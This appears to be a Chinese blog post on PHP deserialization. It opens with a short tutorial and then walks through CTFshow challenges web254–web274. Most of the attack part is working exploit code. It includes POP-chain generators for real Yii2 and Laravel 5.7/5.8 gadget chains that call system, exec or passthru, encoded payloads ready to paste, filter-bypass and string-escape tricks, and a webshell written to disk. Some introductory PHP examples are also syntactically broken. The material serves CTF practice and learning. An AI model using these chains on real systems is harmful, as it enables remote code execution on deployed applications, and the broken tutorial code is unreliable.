IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFSHOW 反序列化 -> 正文阅读

[PHP知识库]CTFSHOW 反序列化

反序列化

为什么要序列化

class 类 实验室成员

obj 对象(是一种语言结构,一个对象就是一个变量)某一个成员

特征(成员变量) 性别,姓名。。。。。。

方法(动作) 思考,听课,下课。。。。。。

百度百科上关于序列化的定义是,将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台、安全的进行通信。

<?php
class Stu(
	public $name;
	public $sex;
	public $age;
    public $score;
)
$Stu1 = new Stu();//创建一个对象(实例化对象)
$Stu1 ->name = "zox";
$Stu1 ->sex = true;
$Stu1 ->age = 16;
$Stu1 ->score = 60;

$Stu2 = new Stu();//创建一个对象(实例化对象)
$Stu2 ->name = "HMM";
$Stu2 ->sex = false;
$Stu2 ->age = 16;
$Stu2 ->score = 90;

echo $Stu1->name."'s score = ".$Stu1->score;
//通过调用对象中属性的名字来访问
echo $Stu2->name."'s score = ".$Stu2->score;
var_dump($Stu1);//直接输出
?>

把抽象的数据结构转化为字符串存储在硬盘------序列化,将用户状态暂停,用户激活时,从硬盘中取出字符串,再反序列化为数据结构,将其存储在内存中继续工作

**反序列化:**将字符串转化为对象

在反序列过程中,会触发代码执行–危害

PHP中的序列化与反序列化

PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。disscuz cmms

PHP中的序列化与反序列化,基本都是围绕**serialize()和unserialize()**两个函数展开的。

*简单的例子

我们可以用json 格式数据的编码与解码,来理解序列化与反序列化的过程。虽然json数据与反序列化漏洞没有什么关系,但是这个例子会帮助我们理解。
测试代码如下

<?php 
$stu=array( ' name'=>'AJEST' , 'age'=>18,'SEX'=>true, 'score'=>89.9);//定义一个数组
echo $stu;//echo不能输出数组
echo "<hr />";
$stu_j son=json_encode( $stu) ;// 格式转化
echo $stu_json;
?>

json:格式化字符串

image-20220404090320177

*序列化Demo

序列化会将一个抽象的对象转换为字符串。
我们可以写一个Demo来说明序列化的过程,首先创建一个类,代码如下

序列化与反序列化过程:

<?php
class Stu(
	public $name;
	public $sex;
	public $age;
    public $score;
)
$Stu1 = new Stu();//创建一个对象(实例化对象)
$Stu1 ->name = "zox";
$Stu1 ->sex = true;
$Stu1 ->age = 16;
$Stu1 ->score = 60;

$Stu2 = new Stu();//创建一个对象(实例化对象)
$Stu2 ->name = "HMM";
$Stu2 ->sex = false;
$Stu2 ->age = 16;
$Stu2 ->score = 90;

echo $Stu1->name."'s score = ".$Stu1->score;
//通过调用对象中属性的名字来访问
echo $Stu2->name."'s score = ".$Stu2->score;
//var_dump($Stu1);//直接输出
echo $Stu1;//不能直接输出
echo serialize($Stu1);//将对象序列化
?>

类名是Stu,该类中有四个变量(关于变量的性质,我们这里不讨论。接下来,我们可以将这个类实例化,也就是创建一个对象,并给对象中变量赋值。代码如下

<?php
include "classstu. php";
$stu1 = new stu( ) ;
$stu1->name = "AJEST";
$stu1->sex = true;
$stu1->age = 18;
$stu1->score = 89.9;
echo serialize( $stu1)$str =<<<HTML
0:3 : "Stu" : 4 : {s :4 : " name " ; s : 3 : "ZQX" ; s : 3 : "sex" ; b:1; s : 3 : " age" ; i :16; s : 5 : "score"; i :60;}
HTML;
echo "<hr/>";
var_dump(unserialize($str));
?>

最后我们使用serialize(),将$stu1
这个对象序列化成一个字符串。这样的字符串。就很容易传输和存储了。如下

0:3:"Stu":4: //0 代表0bject对象;3对象名有三个字符;对象中有4个变量
{s: 4: "name" ; s:5: "AJEST" ;
s : 3: "sex" ; b: 1;
s:3:"age" ; i: 18;
s : 5 :"score" ; d:89.900000000000006; }

同样,我们可以使用unserialize( )函数,将字符串反序列化为一个对象。由于字符串中含有双引号,所以此处可以使用定界符的方法定义字符串。

image-20220404092907083

*漏洞何在?

有一个类

<?php
class Test{
public $str='AJEST;';
function __destruct( ) {
	// echo "This is function _construct( )";
	eval($this->str) ;
	}
} 
$test =new Test ();
echo serialize ($test)echo "<hr/>";
$t = serialize ($test)//换成变量:$_GET['obj'];
var_dump(unserialize($td));
?>

创建一个类的对象,并将其序列化。

$test = new Test( ) ;
echo serialize($test) ;

得到字符串

[o:4: "Test" : 1:{s: 3: "str" ; s :6: "AJEST;";}]a

反序列化
将得到的序列化字符串反序列化为对象。

var_dump( unserialize($__GET [ 'code '] ));

对象创建销毁的时候调用了函数function __destruct( )

反序列化注入

构造序列化字符

[0:4: "Test":1:{s:3:"str" ;s:10:"phpinfo( );";}]

传入code参数。phpinfo()函数会被执行。
由以上代码,我们会发现,PHP的反序列化漏洞需要与其他漏洞配合,比如代码执行SQLi等。

*为什么会这样?

我们注入的字符串[phpinfo()],为什么会作为PHP语句运行呢?观察代码,发现在类中有一个函数_destruct()
并且这个函数调用的eval 语句,执行$this->str 变量。_

为什么_destruct()没有被调用,函数内的语句就被执行了呢?
可以用如下代码测试_destruct()函数

我们发现,当销毁实例化类(对象)的时候,_destrutc()函数会被自动调用,并输出字符串[This is function _destruct( ) ]。

image-20220404105529639 以 [ __ ] 开头的方法,是PHP中的魔术方法,类中的魔术方法,在特定情况下**被自动调用 **。主要魔术方法如下

__construct			在创建对象时目动调用__destruct			在销毁对象时自动调用__call()			在对象中调用一个不可访问方法时,_call()会被调用__callstatic( )		在静态上下文中调用一个不可访问方法时调用__get( )			读取不可访问属性的值时,__get()会被调用__set( )			在给不可访问属性赋值时,_set()会被调用__isset( )			当对不可访问属性调用isset()或empty()时,_isset()会被调用。__unset( )			当对不可访问属性调用unset() 时,_unset()会被调用。__sleep( )serialize( )		函数会检查类中是否存在一个魔术方法__sleep( )			如果存在,该方法会先被调用,然后才执行序列化操作。__wakeup( )unserialize( )		会检查是否存在一个_wakeup()方法。如果存在,则会先调用__wakeup方法,预先准备对象需要的资源。__toString( )__toString()		方法用于一个类被当成字符串时应怎样回应。__invoke( )		当尝试以调用函数的方式调用一个对象时,_invoke()方法会被自动调用。__set_state( )自PHP 5.1.0起当调用var_export()导出类时,此静态方法会被调用。__clone( )当复制完成时,如果定义了_clone()方法,则新创建的对象(复制生成的对象)中的__clone()方法会被调用,可用于修改属性的值(如果有必要的话)。__debugInfo( )This method is called by var_dump() when dumping anobject to get the properties that should be shown.If the method isn 'tdefined on an object,then ail public,protected and private propertieswill be shown.魔术方法的自动调用触发条件,解释了以上问题。

web254

?username=xxxxxx&password=xxxxxx

image-20220405002529768

web 255

账号密码的赋值和上面一样,就是多了一个cookie['user'],用burp抓包解决

highlight_file(__FILE__);include('flag.php');class ctfShowUser{    public $username='xxxxxx';    public $password='xxxxxx';    public $isVip=false;    public function checkVip(){        return $this->isVip;    }    public function login($u,$p){        return $this->username===$u&&$this->password===$p;    }    public function vipOneKeyGetFlag(){        if($this->isVip){            global $flag;            echo "your flag is ".$flag;        }else{            echo "no vip, no flag";        }    }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){    $user = unserialize($_COOKIE['user']);        if($user->login($username,$password)){        if($user->checkVip()){            $user->vipOneKeyGetFlag();        }    }else{        echo "no vip,no flag";    }}

反序列化的点在cookie的user中,我们需要让$isVip=true

新建一个php文件执行:

<?phpclass ctfShowUser{    public $isVip=true;}$a = new ctfShowUser();echo urlencode(serialize($a));//O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D?>

image-20220405115020847

hackbar设置cookie头即可。payload如下:

image-20220405115717907

web256

image-20220405115958960

这次要求用户名与密码不相等,我们在序列化时设置不同

<?phpclass ctfShowUser{    public $username='456';    public $password='123';    public $isVip=true;}$a = new ctfShowUser();echo urlencode(serialize($a));//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22456%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22123%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D?>

payload:

image-20220405120654686

web257

class ctfShowUser{    private $username='xxxxxx';    private $password='xxxxxx';    private $isVip=false;    private $class = 'info';    public function __construct(){        $this->class=new info();    }    public function login($u,$p){        return $this->username===$u&&$this->password===$p;    }    public function __destruct(){        $this->class->getInfo();    }}class info{    private $user='xxxxxx';    public function getInfo(){        return $this->user;    }}class backDoor{    private $code;    public function getInfo(){        eval($this->code);    }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){    $user = unserialize($_COOKIE['user']);    $user->login($username,$password);}

__destruct()在销毁对象时会自动调用getInfo()方法,而这时候的getInfo()方法有两个,一个在类info中。一个在backDoor中,我们需要的是利用反序列来将后者的被调用,也就是我们实例化的对象需要的是backDoor的属性所以需要将$this->class指向backDoor,并给变量code赋值
构造姿势:

<?phpclass ctfShowUser{    private $username='xxxxxx';    private $password='xxxxxx';    private $class = 'info';    public function __construct(){        $this->class=new backDoor();    }    public function login($u,$p){        return $this->username===$u&&$this->password===$p;    }    public function __destruct(){        $this->class->getInfo();    }}class backDoor{    private $code="system('tac f*');";    public function getInfo(){        eval($this->code);    }}echo urlencode(serialize(new ctfShowUser()));//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

payload:

image-20220405124952374

web258

class ctfShowUser{    public $username='xxxxxx';    public $password='xxxxxx';    public $isVip=false;    public $class = 'info';    public function __construct(){        $this->class=new info();    }    public function login($u,$p){        return $this->username===$u&&$this->password===$p;    }    public function __destruct(){        $this->class->getInfo();    }}class info{    public $user='xxxxxx';    public function getInfo(){        return $this->user;    }}class backDoor{    public $code;    public function getInfo(){        eval($this->code);    }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){        $user = unserialize($_COOKIE['user']);    }    $user->login($username,$password);}

多了一个正则表达式:/[oc]:\d+:/i。意思是过滤这两种情况:o:数字:c:数字:
这种情况是用+(加号)绕过的,如:o:+

O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"class";O:8:"backDoor":1:{s:4:"code";s:17:"system('tac f*');";}}

发现有两处:“O:11"和"O:8”。

<?phpclass ctfShowUser{    public $username='xxxxxx';    public $password='xxxxxx';    public $class = 'info';    public function __construct(){        $this->class=new backDoor();    }    public function login($u,$p){        return $this->username===$u&&$this->password===$p;    }    public function __destruct(){        $this->class->getInfo();    }}class backDoor{    public $code="system('tac f*');";    public function getInfo(){        eval($this->code);    }}$a = serialize(new ctfShowUser());$b = str_replace('O:11','O:+11',$a); // 对匹配的形式进行替换,在数字前增加加号$c = str_replace('O:8','O:+8',$b);echo urlencode($c); // O%3A%2B11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

payload:

image-20220405130006300

web259

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);if($ip!=='127.0.0.1'){	die('error');}else{	$token = $_POST['token'];	if($token=='ctfshow'){		file_put_contents('flag.txt',$flag);	}}

源码:

<?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag();

image-20220405154243901

image-20220405154634980

flag.php逻辑是,对请求头中的X-Forwarded-For进行两次pop,所以我们需要构造的结构为:

web260

<?phperror_reporting(0);highlight_file(__FILE__);include('flag.php');if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){    echo $flag;}

字符串序列化后不变。

image-20220405155410496

web261

<?phphighlight_file(__FILE__);class ctfshowvip{    public $username;    public $password;    public $code;    public function __construct($u,$p){        $this->username=$u;        $this->password=$p;    }    public function __wakeup(){        if($this->username!='' || $this->password!=''){            die('error');        }    }    public function __invoke(){        eval($this->code);    }    public function __sleep(){        $this->username='';        $this->password='';    }    public function __unserialize($data){        $this->username=$data['username'];        $this->password=$data['password'];        $this->code = $this->username.$this->password;    }    public function __destruct(){        if($this->code==0x36d){            file_put_contents($this->username, $this->password);        }    }}unserialize($_GET['vip']);

TIPS:

在这里插入图片描述
在这里插入图片描述

看__destruct()方法,发现弱等于:

if($this->code==0x36d){

0x36d十进制为877,所以我们只要以877开头即可。下一句是对文件名为 this->username的文件写入this?>password的内容。

我们可以这样构造序列化:

?vip=O:10:"ctfshowvip":2:{s:8:"username";s:8:"877b.php";s:8:"password";s:24:"<?=system('tac /flag*');";}

访问877b.php可得到flag:

image-20220405161653624

web262

class message{    public $from;    public $msg;    public $to;    public $token='user';    public function __construct($f,$m,$t){        $this->from = $f;        $this->msg = $m;        $this->to = $t;    }}$f = $_GET['f'];$m = $_GET['m'];$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){    $msg = new message($f,$m,$t);    $umsg = str_replace('fuck', 'loveU', serialize($msg));    setcookie('msg',base64_encode($umsg));    echo 'Your message has been sent';}

这题考察的是反序列化逃逸,

可以看这篇博客

这里的

$umsg = str_replace('fuck', 'loveU', serialize($msg));

使序列化后的属性值长度增加,我们可以进行污染。

题目index.php头部有个小提示:

image-20220405163943418

访问message.php:

include('flag.php');class message{    public $from;    public $msg;    public $to;    public $token='user';    public function __construct($f,$m,$t){        $this->from = $f;        $this->msg = $m;        $this->to = $t;    }}if(isset($_COOKIE['msg'])){    $msg = unserialize(base64_decode($_COOKIE['msg']));    if($msg->token=='admin'){        echo $flag;    }}

这里执行了反序列化,可以看到token要设置成admin才行

利用反序列化原理,将*";s:5:“token”;s:4:“user”;}')*字符串逃逸

ini_set('display_errors','On');class message{    public $from;    public $msg;    public $to;    public $token='user';    public function __construct($f,$m,$t){        $this->from = $f;        $this->msg = $m;        $this->to = $t;    }}$a = new message($f='1',$m='1',$t='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');// $t= fuck*25+";s:5:"token";s:5:"admin";}(长度:4*27+27)// $t设置成这样的目的是覆盖最后的:";s:5:"token";s:4:"user";}') ,来实现逃逸/污染echo str_repeat('fuck',27);echo "<br>";echo serialize($a);echo "<br>";echo "<br>";$fil = str_replace('fuck','loveU',serialize($a));echo $fil;$a2 = unserialize($fil); // 更改属性token为adminecho "<br>";echo $a2->token;echo "<br>";var_dump($a2);

token被成功设置为admin:

image-20220405164905200

payload:

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

image-20220405165030553

访问message.php可得到flag:

image-20220405165103099

web264

error_reporting(0);session_start();class message{    public $from;    public $msg;    public $to;    public $token='user';    public function __construct($f,$m,$t){        $this->from = $f;        $this->msg = $m;        $this->to = $t;    }}$f = $_GET['f'];$m = $_GET['m'];$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){    $msg = new message($f,$m,$t);    $umsg = str_replace('fuck', 'loveU', serialize($msg));    $_SESSION['msg']=base64_encode($umsg);    echo 'Your message has been sent';}highlight_file(__FILE__);

同web262

此题转存到session里了

查看message.php:

session_start();highlight_file(__FILE__);include('flag.php');class message{    public $from;    public $msg;    public $to;    public $token='user';    public function __construct($f,$m,$t){        $this->from = $f;        $this->msg = $m;        $this->to = $t;    }}if(isset($_COOKIE['msg'])){    $msg = unserialize(base64_decode($_SESSION['msg']));    if($msg->token=='admin'){        echo $flag;    }}
<?phpclass message{    public $from;    public $msg;    public $to;    public $token='user';    public function __construct($f,$m,$t){        $this->from = $f;        $this->msg = $m;        $this->to = $t;    }}$f;$m;$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));echo $umsg;//O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

image-20220406145932957

payload:

index.phpget:?f=&m=&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}message.phpCookie 加上 msg= xxx

image-20220406150022867

web265反序列化中指针引用:&

error_reporting(0);include('flag.php');highlight_file(__FILE__);class ctfshowAdmin{  public $token;  public $password;  public function __construct($t,$p){    $this->token=$t;    $this->password = $p;  }  public function login(){    return $this->token===$this->password;  }}$ctfshow = unserialize($_GET['ctfshow']);$ctfshow->token=md5(mt_rand());//生成随机数if($ctfshow->login()){  echo $flag;}

引用传值:

<?phpclass abc{    public $a = '1';    public $b = '2';}$c = new abc();$c->a =&$c->b;$c->a = '1';//此时哪怕修改a的值也不管用$c->b = md5(mt_rand());print_r($c->a);?>//运行结果cc459dba9ce1830f72c80ba14532bbac

如果$c->a =&$c->b;,那么 a 的 值 会 随 着 a的值会随着 ab的值得变化而变化

payload:

<?phpclass ctfshowAdmin{    public $token=1;    public $password=1;}$a = new ctfshowAdmin();$a->password=&$a->token;//让passwd的值随token变echo serialize($a);//运行结果O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";R:2;}
?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";R:2;}

image-20220406151848978

web266PHP对类名的大小写不敏感

highlight_file(__FILE__);include('flag.php');$cs = file_get_contents('php://input');class ctfshow{    public $username='xxxxxx';    public $password='xxxxxx';    public function __construct($u,$p){        $this->username=$u;        $this->password=$p;    }    public function login(){        return $this->username===$this->password;    }    public function __toString(){        return $this->username;    }    public function __destruct(){        global $flag;        echo $flag;    }}$ctfshowo=@unserialize($cs);if(preg_match('/ctfshow/', $cs)){    throw new Exception("Error $ctfshowo",1);}

当我们序列化的字符串里面如果有ctfshow就会抛出一个异常,这样就没法触发__destrurt魔术方法了,所以得绕过这个正则。

区分大小写的: 变量名、常量名、数组索引(键名key)不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE

payload:

<?phpclass Ctfshow{};$a = new Ctfshow();echo serialize($a);?>//O:7:"Ctfshow":0:{}
image-20220406153644392

web267

打开首页,首先点击login输入用户名和密码都是admin,进行登陆:

image-20220407102156656

访问about页面,发现与之前不同,查看源码,有提示:

image-20220407102454859

访问:

index.php?r=site%2Fabout&view-source

出现

///backdoor/shellunserialize(base64_decode($_GET['code']))

根据提示访问:

index.php?r=/backdoor/shell&code=

现成poc:

<?phpnamespace yii\rest{    class IndexAction{        public $checkAccess;        public $id;        public function __construct(){            $this->checkAccess = 'exec';	//PHP函数            $this->id = 'cat /flag >2.txt';    //PHP函数的参数          }    }}namespace Faker {    use yii\rest\IndexAction;    class Generator    {        protected $formatters;        public function __construct()        {            $this->formatters['close'] = [new IndexAction(), 'run'];        }    }}namespace yii\db{    use Faker\Generator;    class BatchQueryResult{        private $_dataReader;        public function __construct()        {            $this->_dataReader=new Generator();        }    }}namespace{    use yii\db\BatchQueryResult;    echo base64_encode(serialize(new BatchQueryResult()));}

payload:

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjE2OiJjYXQgL2ZsYWcgPjIudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19

根目录访问2.txt得到flag

image-20220407103832623

web268

思路和poc链同web267

<?phpnamespace yii\rest {    class Action    {        public $checkAccess;    }    class IndexAction    {        public function __construct($func, $param)        {            $this->checkAccess = $func;            $this->id = $param;        }    }}namespace yii\web {    abstract class MultiFieldSession    {        public $writeCallback;    }    class DbSession extends MultiFieldSession    {        public function __construct($func, $param)        {            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];        }    }}namespace yii\db {    use yii\base\BaseObject;    class BatchQueryResult    {        private $_dataReader;        public function __construct($func, $param)        {            $this->_dataReader = new \yii\web\DbSession($func, $param);        }    }}namespace {    $exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //此处写命令    echo(base64_encode(serialize($exp)));}

payload:

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxMjoiY3AgL2YqIDEudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0=

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NQoAXwCX-1649403904989)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220407170758244.png)]

yii2框架 反序列化漏洞复现详细可看这篇文章

web269

用之前的链依然可以得到flag

image-20220407171531928

web270

<?phpnamespace yii\rest{    class IndexAction{        public $checkAccess;        public $id;        public function __construct(){            $this->checkAccess = 'passthru';            $this->id = 'cat /fl*';        }    }}namespace yii\db{    use yii\web\DbSession;    class BatchQueryResult    {        private $_dataReader;        public function __construct(){            $this->_dataReader=new DbSession();        }    }}namespace yii\web{    use yii\rest\IndexAction;    class DbSession    {        public $writeCallback;        public function __construct(){            $a=new IndexAction();            $this->writeCallback=[$a,'run'];        }    }}namespace{    use yii\db\BatchQueryResult;    echo base64_encode(serialize(new BatchQueryResult()));}
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo4OiJjYXQgL2ZsKiI7fWk6MTtzOjM6InJ1biI7fX19

image-20220407171847935

web271

laravel5.7 反序列化漏洞复现参考此文章

POC:

<?phpnamespace Illuminate\Foundation\Testing{    use Illuminate\Auth\GenericUser;    use Illuminate\Foundation\Application;    class PendingCommand    {        protected $command;        protected $parameters;        public $test;        protected $app;        public function __construct(){            $this->command="system";            $this->parameters[]="cat /fl*";            $this->test=new GenericUser();            $this->app=new Application();        }    }}namespace Illuminate\Foundation{    class Application{        protected $bindings = [];        public function __construct(){            $this->bindings=array(                'Illuminate\Contracts\Console\Kernel'=>array(                    'concrete'=>'Illuminate\Foundation\Application'                )            );        }    }}namespace Illuminate\Auth{    class GenericUser    {        protected $attributes;        public function __construct(){            $this->attributes['expectedOutput']=['hello','world'];            $this->attributes['expectedQuestions']=['hello','world'];        }    }}namespace{    use Illuminate\Foundation\Testing\PendingCommand;    echo urlencode(serialize(new PendingCommand()));}

进行POST传参:

O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22cat+%2Ffl%2A%22%3B%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22hello%22%3Bi%3A1%3Bs%3A5%3A%22world%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22hello%22%3Bi%3A1%3Bs%3A5%3A%22world%22%3B%7D%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7D%7D

image-20220407211035220

web272

laravel5.8的反序列化链,参考文章:
laravel5.8 反序列化漏洞复现
poc:

<?phpnamespace Illuminate\Broadcasting{    use Illuminate\Bus\Dispatcher;    use Illuminate\Foundation\Console\QueuedCommand;    class PendingBroadcast    {        protected $events;        protected $event;        public function __construct(){            $this->events=new Dispatcher();            $this->event=new QueuedCommand();        }    }}namespace Illuminate\Foundation\Console{    use Mockery\Generator\MockDefinition;    class QueuedCommand    {        public $connection;        public function __construct(){            $this->connection=new MockDefinition();        }    }}namespace Illuminate\Bus{    use Mockery\Loader\EvalLoader;    class Dispatcher    {        protected $queueResolver;        public function __construct(){            $this->queueResolver=[new EvalLoader(),'load'];        }    }}namespace Mockery\Loader{    class EvalLoader    {    }}namespace Mockery\Generator{    class MockDefinition    {        protected $config;        protected $code;        public function __construct()        {            $this->code="<?php system('tac /flag');exit()?>";            $this->config=new MockConfiguration();        }    }    class MockConfiguration    {        protected $name="feng";    }}namespace{    use Illuminate\Broadcasting\PendingBroadcast;    echo urlencode(serialize(new PendingBroadcast()));}

payload:

O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22feng%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A34%3A%22%3C%3Fphp+system%28%27tac+%2Fflag%27%29%3Bexit%28%29%3F%3E%22%3B%7D%7D%7D

image-20220407211904637

web273

同web272

image-20220407220813222

web274

点击查看源码:

image-20220407223057682

网上找thinkphp5.1的链子:

